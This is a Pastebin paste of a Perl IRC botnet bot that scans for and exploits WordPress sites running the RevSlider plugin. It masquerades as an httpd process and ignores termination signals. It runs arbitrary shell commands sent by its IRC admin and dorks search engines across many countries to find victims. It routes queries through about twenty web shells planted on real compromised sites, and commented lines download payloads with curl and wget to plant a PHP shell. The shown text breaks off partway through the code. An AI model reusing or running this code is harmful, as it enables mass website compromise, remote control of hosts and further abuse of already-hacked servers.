API tools faq
paste
Guest User

prv8

a guest
Apr 29th, 2016
210
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 155.98 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use IO::Socket;
  10. use IO::Socket::INET;
  11. use IO::Select;
  12. use Socket;
  13. use MIME::Base64;
  14. use File::Basename;
  15. use URI::Escape;
  16. use Digest::MD5 qw(md5_hex);
  17. use DBI;
  18.  
  19. my $datetime = localtime;
  20. my $fakeproc = "/usr/sbin/httpd";
  21. my $ircserver = "irc.unixware.id";
  22. my $ircport = "6667";
  23. #my $number = int(rand(20));
  24. my $nickname = "indo-4";
  25. my $ident = "scan";
  26. my $channel = "#us";
  27. my $admin = "JoeL";
  28. my $fullname = "2Berjuanglah Kawan";
  29. my $nob0dy = "15SexCrime";
  30.  
  31. #my $searchlogo = "15(7@10Search15)";
  32. #my $rsqllogo = "15(7@11DB-Rev15)";
  33. my $revlogo = "15(7@11Revslider15)";
  34. my $revcmd = "!re4";
  35. #my $chkcmd = "!chk".$number;
  36. my $plugin = "revslider";
  37. my $action = "revslider_ajax_action";
  38. my $update_file = "revslider.zip";
  39. my $pubscan = 0;
  40. my $spread = 1;
  41. #my $botxx = uri_escape("curl -C - -O ");
  42. #my $c99 = uri_escape("curl -C - -O http://www.vossloh-training.net/wp-content/themes/Vossloh/untitled.jpg;mv untitled.jpg ../../../../../../wp-includes/unixware.php;");
  43.  
  44.  
  45. sub randomagent {
  46. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  47. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  48. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  49. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  50. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  51. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31');
  52. my $random = $array[rand @array];
  53. return($random);
  54. }
  55. my $useragent = randomagent();
  56.  
  57. my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
  58. #my $jpath = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  59. my @randombarner1 = ("http://dateakademie.de/wp-includes/error.php");
  60.  
  61. my @randombarner2 = ("http://www.austriasport.nl/wp-includes/errors.php");
  62.  
  63. my @randombarner3 = ("http://www.zskaterinky.cz/includes/js/index2.php");
  64.  
  65. my @randombarner4 = ("http://www.squee.com.br/checkin/modules/mod_login/error.php");
  66.  
  67. my @randombarner5 = ("http://www.sbagro.org.br/modules/mod_login/error.php");
  68.  
  69. my @randombarner6 = ("http://www.aldiyar.kz/errors.php");
  70.  
  71. my @randombarner7 = ("http://blackhaircafe.com/includes/js/tabs/errors.php");
  72.  
  73. my @randombarner8 = ("http://gentleheart.cz/includes/js/index2.php");
  74.  
  75. my @randombarner9 = ("http://www.vrata-brany.net/includes/index2.php");
  76.  
  77. my @randombarner10 = ("https://www.attentionwizard.com/cache-old/error.php");
  78.  
  79. my @randombarner11 = ("http://www.wtpolytech.com/th/includes/config.index.php");
  80.  
  81. my @randombarner12 = ("http://www.voileenligne.com/audio/komo.php");
  82.  
  83. my @randombarner13 = ("http://kavkazinterpress.ru/plugins/content/config.inc.php");
  84.  
  85. my @randombarner14 = ("http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php");
  86.  
  87. my @randombarner15 = ("http://www.vrata-brany.net/includes/index2.php");
  88.  
  89. my @randombarner16 = ("http://barbecue.by/display.by/plugins/content/config.inc.php");
  90.  
  91. my @randombarner17 = ("http://www.bam.co.th/bam/corporate/xmlrpc/index2.php");
  92.  
  93. my @randombarner18 = ("http://www.lesyro.cz//images/stories/errors.php");
  94.  
  95. my @randombarner19 = ("http://www.sbagro.org.br/modules/mod_login/error.php");
  96.  
  97. my @randombarner20 = ("http://geomembrana.com.ua/pub/Certificate/search.php");
  98.  
  99.  
  100.  
  101. my $fullmagic1 = $randombarner1[rand(scalar(@randombarner1))];
  102. my $fullmagic2 = $randombarner2[rand(scalar(@randombarner2))];
  103. my $fullmagic3 = $randombarner3[rand(scalar(@randombarner3))];
  104. my $fullmagic4 = $randombarner4[rand(scalar(@randombarner4))];
  105. my $fullmagic5 = $randombarner5[rand(scalar(@randombarner5))];
  106. my $fullmagic6 = $randombarner6[rand(scalar(@randombarner6))];
  107. my $fullmagic7 = $randombarner7[rand(scalar(@randombarner7))];
  108. my $fullmagic8 = $randombarner8[rand(scalar(@randombarner8))];
  109. my $fullmagic9 = $randombarner9[rand(scalar(@randombarner9))];
  110. my $fullmagic10 = $randombarner10[rand(scalar(@randombarner10))];
  111. my $fullmagic11 = $randombarner11[rand(scalar(@randombarner11))];
  112. my $fullmagic12 = $randombarner12[rand(scalar(@randombarner12))];
  113. my $fullmagic13 = $randombarner13[rand(scalar(@randombarner13))];
  114. my $fullmagic14 = $randombarner14[rand(scalar(@randombarner14))];
  115. my $fullmagic15 = $randombarner15[rand(scalar(@randombarner15))];
  116. my $fullmagic16 = $randombarner16[rand(scalar(@randombarner16))];
  117. my $fullmagic17 = $randombarner17[rand(scalar(@randombarner17))];
  118. my $fullmagic18 = $randombarner18[rand(scalar(@randombarner18))];
  119. my $fullmagic19 = $randombarner19[rand(scalar(@randombarner19))];
  120. my $fullmagic20 = $randombarner20[rand(scalar(@randombarner20))];
  121.  
  122.  
  123. my $jack1 = "".$fullmagic1."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  124. my $jack2 = "".$fullmagic2."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  125. my $jack3 = "".$fullmagic3."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  126. my $jack4 = "".$fullmagic4."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  127. my $jack5 = "".$fullmagic5."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  128. my $jack6 = "".$fullmagic6."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  129. my $jack7 = "".$fullmagic7."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  130. my $jack8 = "".$fullmagic8."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  131. my $jack9 = "".$fullmagic9."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  132. my $jack10 = "".$fullmagic10."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  133. my $jack11 = "".$fullmagic11."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  134. my $jack12 = "".$fullmagic12."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  135. my $jack13 = "".$fullmagic13."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  136. my $jack14 = "".$fullmagic14."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  137. my $jack15 = "".$fullmagic15."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  138. my $jack16 = "".$fullmagic16."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  139. my $jack17 = "".$fullmagic17."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  140. my $jack18 = "".$fullmagic18."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  141. my $jack19 = "".$fullmagic19."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  142. my $jack20 = "".$fullmagic20."?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  143.  
  144.  
  145.  
  146. if (@ARGV == 7) {
  147. print "\n[+] Priv8 Scanner SE\n".
  148. "[+] IRC Host : $ircserver\n".
  149. "[+] IRC Port : $ircport\n".
  150. "[+] Bot Nick : $nickname\n".
  151. "[+] Bot Ident : $ident\n".
  152. "[+] Channel : $channel\n".
  153. "[+] Bot Admin : $admin\n".
  154. "[+] Process/PID : $fakeproc - $$\n\n";
  155. }
  156.  
  157. $SIG{'INT'} = 'IGNORE';
  158. $SIG{'HUP'} = 'IGNORE';
  159. $SIG{'TERM'} = 'IGNORE';
  160. $SIG{'CHLD'} = 'IGNORE';
  161. $SIG{'PS'} = 'IGNORE';
  162.  
  163. #chdir("/tmp");
  164. #chop (my $priper = `wget http://www.ausloanscommercial.com.au/wp-admin/revslider.zip;fetch http://www.ausloanscommercial.com.au/wp-admin/revslider.zip;curl -O http://www.ausloanscommercial.com.au/wp-admin/revslider.zip`);
  165. $ircserver = "$ARGV[0]" if $ARGV[0];
  166. $0 = "$fakeproc"."\0" x 16;
  167. my $pid = fork;
  168. exit if $pid;
  169. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  170.  
  171. our %irc_servers;
  172. our %DCC;
  173. my $dcc_sel = new IO::Select->new();
  174. $sel_client = IO::Select->new();
  175.  
  176. sub sendraw {
  177. if ($#_ == '1') {
  178. my $socket = $_[0];
  179. print $socket "$_[1]\n";
  180. } else {
  181. print $IRC_cur_socket "$_[0]\n";
  182. }
  183. }
  184.  
  185. sub connector {
  186. my $mynick = $_[0];
  187. my $ircserver_con = $_[1];
  188. my $ircport_con = $_[2];
  189. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  190. if (defined($IRC_socket)) {
  191. $IRC_cur_socket = $IRC_socket;
  192. $IRC_socket->autoflush(1);
  193. $sel_client->add($IRC_socket);
  194. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  195. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  196. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  197. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  198. nick("$mynick");
  199. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  200. sleep 1;
  201. }
  202. }
  203.  
  204. sub parse {
  205. my $servarg = shift;
  206. if ($servarg =~ /^PING \:(.*)/) {
  207. sendraw("PONG :$1");
  208. }
  209. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  210. if (lc($1) eq lc($mynick)) {
  211. $mynick = $4;
  212. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  213. }
  214. }
  215. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  216. nick("$mynick".int rand(999));
  217. }
  218. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  219. $mynick = $2;
  220. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  221. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  222. sendraw("MODE $mynick +Bx");
  223. sendraw("NS id lfi123");
  224. sleep(3);
  225. sendraw("JOIN $channel");
  226. sleep(1);
  227. sendraw("JOIN #us 777");
  228. sleep(1);
  229. sendraw("PRIVMSG $channel :14Rev Wordpress Priv8 Scanner");
  230. sendraw("PRIVMSG $admin :Hi $admin im here ready to Serve !!!");
  231. }
  232. }
  233.  
  234. my $line_temp;
  235. while( 1 ) {
  236. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  237. select(undef, undef, undef, 0.01);
  238. delete($irc_servers{''}) if (defined($irc_servers{''}));
  239. my @ready = $sel_client->can_read(0);
  240. next unless(@ready);
  241. foreach $fh (@ready) {
  242. $IRC_cur_socket = $fh;
  243. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  244. $nread = sysread($fh, $ircmsg, 4096);
  245. if ($nread == 0) {
  246. $sel_client->remove($fh);
  247. $fh->close;
  248. delete($irc_servers{$fh});
  249. }
  250. @lines = split (/\n/, $ircmsg);
  251. $ircmsg =~ s/\r\n$//;
  252.  
  253. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  254. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  255. my $engine ="UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan,Norway,Montenegro,Greece,Education,Goverment,Kazakhstan,
  256. Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia,
  257. Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,
  258. KonToL,PePek,TeTek,ItiL,Vagina,NenNen,SuSu,BuahDada,PayuDara,Kentot,eMeL,OraL,Klitoris,Masturbasi,Onani,Sperma,AnaL,Puting,Penis,MeMek,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK";
  259. if ($path eq $mynick) {
  260. if ($msg =~ /^PING (.*)/) {
  261. sendraw("NOTICE $nick :PING $1");
  262. }
  263. #if ($msg =~ /^VERSION/) {
  264. # sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  265. #}
  266. if ($msg =~ /^TIME/) {
  267. sendraw("NOTICE $nick :TIME ".$datetime."");
  268. }
  269. if (&isAdmin($nick) && $msg eq "!die") {
  270. &shell("$path","kill -9 $$");
  271. }
  272. if (&isAdmin($nick) && $msg eq "!killall") {
  273. &shell("$path","killall -9 perl");
  274. }
  275. if (&isAdmin($nick) && $msg eq "!reset") {
  276. sendraw("QUIT :Restarting...");
  277. }
  278. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  279. sendraw("JOIN #".$1);
  280. }
  281. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  282. sendraw("PART #".$1);
  283. }
  284. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  285. sendraw("NICK ".$1);
  286. }
  287. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  288. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  289. }
  290. if (&isAdmin($nick) && $msg !~ /^!/) {
  291. &shell("$nick","$msg");
  292. }
  293. }
  294. else {
  295. if (&isAdmin($nick) && $msg eq "!die") {
  296. &shell("$path","kill -9 $$");
  297. }
  298. if (&isAdmin($nick) && $msg eq "!killall") {
  299. &shell("$path","killall -9 perl");
  300. }
  301. if (&isAdmin($nick) && $msg eq "!reset") {
  302. sendraw("QUIT :Restarting...");
  303. }
  304. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  305. sendraw("JOIN #".$1);
  306. }
  307. if (&isAdmin($nick) && $msg eq "!part") {
  308. sendraw("PART $path");
  309. }
  310. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  311. sendraw("PART #".$1);
  312. }
  313. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  314. &shell("$path","$1");
  315. }
  316. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  317. &shell("$path","$1");
  318. }
  319. if (&isAdmin($nick) && $msg =~ /^!addadmin\ (.+) /) {
  320. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  321. $newadmin = $1;
  322. $admin = $newadmin;
  323. &msg("$path","12 Admin added to4 $admin ");
  324. }}}
  325. ##################################################################### HELP COMMAND
  326.  
  327. if ($msg=~ /^!help/) {
  328. my $helplogo = "15(7@2Help15)";
  329. $inject = "";
  330. if (-e ($update_file)){ $inject = "3Ready!!!"; } else { $inject = "4Lost!!!"; }
  331. &msg("$nick","$helplogo 12RevSlider Database Wordpress Scan:6 $revcmd [dork]");
  332. # &msg("$nick","$helplogo 12RevSlider Database Wordpress Inject manual:6 $chkcmd [site]");
  333. &msg("$nick","$helplogo 12Injector : $inject ");
  334. &msg("$nick","$helplogo 12Check Bypass:6 !bypassrev");
  335. }
  336. if ($msg=~ /^!response/ || $msg=~ /^!id/) {
  337. $inject = "";
  338. if (-e ($update_file)){ $inject = "3Ready!!!"; } else { $inject = "4Lost!!!"; }
  339. &msg("$path","12Injector : $inject ");
  340. }
  341.  
  342. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  343. &notice("$nick","6Fake Process/PID : $fakeproc - $$");
  344. }
  345. if ($msg=~/^!bypassrev/){
  346. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  347. &msg("$path","Checking 20 Bypass, please wait...");
  348. my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";my $bystats8 = "";my $bystats9 = "";my $bystats10 = "";
  349. my $bystats11 = "";my $bystats12 = "";my $bystats13 = "";my $bystats14 = "";my $bystats15 = "";my $bystats16 = "";my $bystats17 = "";my $bystats18 = "";my $bystats19 = "";my $bystats20 = "";
  350. my $cekby1 = &get_content($jack1."search");
  351. if ($cekby1 =~ /search/i){ $bystats1 = "10Up!!!"; } else { $bystats1 = "4lost!!!"; }
  352. my $cekby2 = &get_content($jack2."search");
  353. if ($cekby2 =~ /search/i){ $bystats2 = "10Up!!!"; } else { $bystats2 = "4lost!!!"; }
  354. my $cekby3 = &get_content($jack3."search");
  355. if ($cekby3 =~ /search/i){ $bystats3 = "10Up!!!"; } else { $bystats3 = "4lost!!!"; }
  356. my $cekby4 = &get_content($jack4."search");
  357. if ($cekby4 =~ /search/i){ $bystats4 = "10Up!!!"; } else { $bystats4 = "4lost!!!"; }
  358. my $cekby5 = &get_content($jack5."search");
  359. if ($cekby5 =~ /search/i){ $bystats5 = "10Up!!!"; } else { $bystats5 = "4lost!!!"; }
  360. my $cekby6 = &get_content($jack6."search");
  361. if ($cekby6 =~ /search/i){ $bystats6 = "10Up!!!"; } else { $bystats6 = "4lost!!!"; }
  362. my $cekby7 = &get_content($jack7."search");
  363. if ($cekby7 =~ /search/i){ $bystats7 = "10Up!!!"; } else { $bystats7 = "4lost!!!"; }
  364. my $cekby8 = &get_content($jack8."search");
  365. if ($cekby8 =~ /search/i){ $bystats8 = "10Up!!!"; } else { $bystats8 = "4lost!!!"; }
  366. my $cekby9 = &get_content($jack9."search");
  367. if ($cekby9 =~ /search/i){ $bystats9 = "10Up!!!"; } else { $bystats9 = "4lost!!!"; }
  368. my $cekby10 = &get_content($jack10."search");
  369. if ($cekby10 =~ /search/i){ $bystats10 = "10Up!!!"; } else { $bystats10 = "4lost!!!"; }
  370. my $cekby11 = &get_content($jack11."search");
  371. if ($cekby11 =~ /search/i){ $bystats11 = "10Up!!!"; } else { $bystats11 = "4lost!!!"; }
  372. my $cekby12 = &get_content($jack12."search");
  373. if ($cekby12 =~ /search/i){ $bystats12 = "10Up!!!"; } else { $bystats12 = "4lost!!!"; }
  374. my $cekby13 = &get_content($jack13."search");
  375. if ($cekby13 =~ /search/i){ $bystats13 = "10Up!!!"; } else { $bystats13 = "4lost!!!"; }
  376. my $cekby14 = &get_content($jack14."search");
  377. if ($cekby14 =~ /search/i){ $bystats14 = "10Up!!!"; } else { $bystats14 = "4lost!!!"; }
  378. my $cekby15 = &get_content($jack15."search");
  379. if ($cekby15 =~ /search/i){ $bystats15 = "10Up!!!"; } else { $bystats15 = "4lost!!!"; }
  380. my $cekby16 = &get_content($jack16."search");
  381. if ($cekby16 =~ /search/i){ $bystats16 = "10Up!!!"; } else { $bystats16 = "4lost!!!"; }
  382. my $cekby17 = &get_content($jack17."search");
  383. if ($cekby17 =~ /search/i){ $bystats17 = "10Up!!!"; } else { $bystats17 = "4lost!!!"; }
  384. my $cekby18 = &get_content($jack18."search");
  385. if ($cekby18 =~ /search/i){ $bystats18 = "10Up!!!"; } else { $bystats18 = "4lost!!!"; }
  386. my $cekby19 = &get_content($jack19."search");
  387. if ($cekby19 =~ /search/i){ $bystats19 = "10Up!!!"; } else { $bystats19 = "4lost!!!"; }
  388. my $cekby20 = &get_content($jack20."search");
  389. if ($cekby20 =~ /search/i){ $bystats20 = "10Up!!!"; } else { $bystats20 = "4lost!!!"; }
  390. &msg("$path","12 Mesin1= $bystats1 12Mesin2= $bystats2 12Mesin3= $bystats3 12Mesin4= $bystats4 12Mesin5= $bystats5 12 Mesin6= $bystats6 12Mesin7= $bystats7 12Mesin8= $bystats8 12Mesin9= $bystats9 12Mesin10= $bystats10 12 Mesin11= $bystats11 12Mesin12= $bystats12 12Mesin13= $bystats13 12Mesin14= $bystats14 12Mesin15= $bystats15 12 Mesin16= $bystats16 12Mesin17= $bystats17 12Mesin18= $bystats18 12Mesin19= $bystats19 12Mesin20= $bystats20")
  391. }}}
  392. ##################################################################### Command SCAN
  393.  
  394.  
  395. if ($msg =~ /^$revcmd\s+(.*)/) {
  396. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  397. if (-e ($update_file)) {
  398. my $dork = $1;
  399. my $check = &read_dorks($dork);
  400. if ($check == 1) {
  401. &msg("$path","4Ga bisa $nick Don't repeat dork "); exit;
  402. } else {
  403. &msg("$path","3$nick start scanning.. $path ");
  404. &msg("$path","2Dork :5 $dork");
  405. &msg("$path","2Please wait..");
  406. &sendraw("MODE $path +m");
  407. &write_dorks($dork);
  408. &se_start($path,$bug,$dork,$engine,1,$nick);
  409. }
  410. }else {
  411. &msg("$path","[ $nick ] $revlogo 4Injector is Lost!");
  412. }
  413. }
  414. exit;
  415. }
  416. }
  417.  
  418.  
  419. #####################################################################
  420.  
  421. }
  422. }
  423.  
  424. for(my $c=0; $c<= $#lines; $c++) {
  425. $line = $lines[$c];
  426. $line = $line_temp.$line if ($line_temp);
  427. $line_temp = '';
  428. $line =~ s/\r$//;
  429. unless ($c == $#lines) {
  430. parse("$line");
  431. } else {
  432. if ($#lines == 0) {
  433. parse("$line");
  434. } elsif ($lines[$c] =~ /\r$/) {
  435. parse("$line");
  436. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  437. parse("$line");
  438. } else {
  439. $line_temp = $line;
  440. }
  441. }
  442. }
  443. }
  444. }
  445.  
  446. ########################################################################################## Search engine
  447. sub type() {
  448. my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  449. if ($type == 1){$type=&revslider($chan,$bug,$dork,$engine,$nick);}
  450. elsif ($type == 2){$type=&showbiz($chan,$bug,$dork,$engine,$nick);}
  451. }
  452. sub se_start() {
  453. my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  454. if ($engine =~ /uae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UAE",$type,$nick); } exit; } }
  455. if ($engine =~ /myanmar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &lfi($chan,$bug,dork,"Myanmar",$type,$nick); } exit; } }
  456. if ($engine =~ /argentina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Argentina",$type,$nick); } exit; } }
  457. if ($engine =~ /austria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Austria",$type,$nick); } exit; } }
  458. if ($engine =~ /australia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Australia",$type,$nick); } exit; } }
  459. if ($engine =~ /brazil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brazil",$type,$nick); } exit; } }
  460. if ($engine =~ /canada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Canada",$type,$nick); } exit; } }
  461. if ($engine =~ /chili/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Chili",$type,$nick); } exit; } }
  462. if ($engine =~ /cina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cina",$type,$nick); } exit; } }
  463. if ($engine =~ /comersil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoMersil",$type,$nick); } exit; } }
  464. if ($engine =~ /czech/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Czech",$type,$nick); } exit; } }
  465. if ($engine =~ /germany/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Germany",$type,$nick); } exit; } }
  466. if ($engine =~ /denmark/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Denmark",$type,$nick); } exit; } }
  467. if ($engine =~ /spain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Spain",$type,$nick); } exit; } }
  468. if ($engine =~ /europe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Europe",$type,$nick); } exit; } }
  469. if ($engine =~ /france/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"France",$type,$nick); } exit; } }
  470. if ($engine =~ /hungary/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hungary",$type,$nick); } exit; } }
  471. if ($engine =~ /indonesia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Indonesia",$type,$nick); } exit; } }
  472. if ($engine =~ /israel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Israel",$type,$nick); } exit; } }
  473. if ($engine =~ /india/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"India",$type,$nick); } exit; } }
  474. if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Info",$type,$nick); } exit; } }
  475. if ($engine =~ /iran/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iran",$type,$nick); } exit; } }
  476. if ($engine =~ /italy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Italy",$type,$nick); } exit; } }
  477. if ($engine =~ /japan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Japan",$type,$nick); } exit; } }
  478. if ($engine =~ /korea/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Korea",$type,$nick); } exit; } }
  479. if ($engine =~ /mexico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mexico",$type,$nick); } exit; } }
  480. if ($engine =~ /malaysia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malaysia",$type,$nick); } exit; } }
